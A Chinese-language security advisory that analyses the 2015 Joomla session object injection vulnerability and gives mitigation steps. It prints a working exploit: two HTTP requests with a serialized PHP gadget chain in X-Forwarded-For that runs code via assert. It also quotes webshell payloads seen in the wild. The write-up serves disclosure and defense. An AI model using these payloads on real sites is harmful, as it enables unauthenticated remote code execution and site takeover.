Joomla 物件注入漏洞分析報告

根據此次漏洞情況,Joomla官方已緊急放出了3.4.6版本。joomla用戶除了儘快升級至最新版本,也可採用阿里雲安全團隊釋出的更為完善的修復方案,對網站進行強化,詳情可參考:0x03漏洞修復。

0x00 漏洞介紹

昨日,Joomla 安全團隊緊急發佈了 Joomla 3.4.6 版本,修復了一個高危 0day 漏洞。該漏洞影響了 1.5 到 3.4.5 的所有版本,漏洞利用無須登錄,直接在前臺即可執行任意PHP代碼。

0x01 漏洞利用

將惡意程式碼放在 User-Agent 或 X-Forwarded-For 中發送給網站,將網站返回的cookie值帶入第二個請求中,即可觸發漏洞。或是在第一個請求中指定cookie值,在第二次中帶上同樣cookie值也能觸發漏洞。

請求一:

GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

請求二:

GET / HTTP/1.1
Host: 127.0.0.1
Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

如果執行成功,請求二的返回內容中會顯示phpinfo()的執行結果。

0x02 漏洞分析

在libraries/joomla/session/session.php檔中,joomla將HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

……
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    $this->set('session.client.forwarded',$_SERVER['HTTP_X_FORWARDED_FOR']);
……
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
        $browser = $this->get('session.client.browser');
        if ($browser === null)
        {
            $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
        }
}

繼續跟進joomla對於session的處理方式,在 /libraries/joomla/session/storage.php 內 JSessionStorage 類中,利用session_set_save_handler重新實現了 session 存儲的read()和write()方法,從php手冊中得定義看到,read()、write()方法傳進和傳出的參數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP內核完成:

2015121608060684532

繼續跟入到read()和write()函數,代碼位於libraries/joomla/session/storage目錄中,從所有session存儲引擎的實現代碼中可以看到,joomla都沒有對 session 的value進行安全處理就進行了寫入操作。預設情況下,joomla使用了資料庫引擎對 session 進行存儲,這也是本漏洞可以成功利用的條件之一,構造exp時候,利用 Mysql 的字元截斷特性,最終寫入到資料庫中一個被破壞的不合法的反序列化物件,當這個物件被執行read()讀取時候,因為截斷字元的關係, PHP內核(PHP <= 5.6.13)在解析session.client.forwarded後面字串時,由於長度Check不一致,導致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失敗的時候,會從之前的指標位置繼續開始下一輪key-value嘗試,在新一輪key-value嘗試中,PHP內核將攻擊者注入的"|"當成了分隔符號,進行key-value解析,進行反序列化導致物件方法被執行。

漏洞的本質原因有兩個,一個是php內核的session解析器bug導致的,另一個是mysql資料庫的字元截斷特性。如果使用的session存儲引擎不存在 Mysql 這樣的字元截斷特性,此漏洞就無法複現。我們測試該漏洞時,將joomla設定檔configuration.php中的$session_handler 配置為none,即使用檔案系統存儲session,發現漏洞無法成功利用。

0x03漏洞修復

Joomla官方已經在昨天緊急放出了3.4.6版本。比對代碼後發現,官方此次的升級補丁僅僅在 /libraries/joomla/session/session.php 中刪掉了將HTTP_USER_AGENT寫入SESSION變數中的代碼,增加了對 HTTP_X_FORWARDED_FOR 獲取到IP的合法性驗證,將此次公開的exp中的利用點修復掉了。但官方沒有對JSessionStorage 類中處理session的不安全方式進行修復,因此這個修復方式存在被繞過的可能。只要攻擊者尋找到新的可控SESSION值的位置,就可用同樣的構造方法觸發漏洞。

下面給出更為完善的修復方案:

修改 Joomla 根目錄 configuration.php ,把 $session_handler 的值改為none,會將session存儲引擎設為檔案系統。 把 PHP 版本升到到 5.6.13 或更高的版本。

登錄Joomla後臺把程式升級到 3.4.6 或更高的版本。

 

0x04 威脅現狀

統計資料顯示,截至16日淩晨,已有數百個惡意IP嘗試使用該漏洞對阿裡雲網站發起攻擊,雲盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的駭客在一小時內嘗試入侵超過1000個 Joomla 網站。

對攻擊者使用的攻擊payload分析,大部分攻擊者在第一個請求中都會插入類似 eval(base64_decode($_post[a])) 這樣的代碼,在第二個請求中嘗試向網站根目錄寫入一句話木馬。如果攻擊成功,網站將會被攻擊者完全控制。也有部分攻擊者使用的是網上公開的漏洞檢測payload,如 phpinfo(); 和 md5(233333); ,這些代碼一般不會對網站造成威脅。

相關連結:

https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://github.com/80vul/phpcodz/blob/master/research/pch-031.md

文章來源:http://drops.wooyun.org/papers/11371
圖片來源:https://pixabay.com/

You may also like...

發佈留言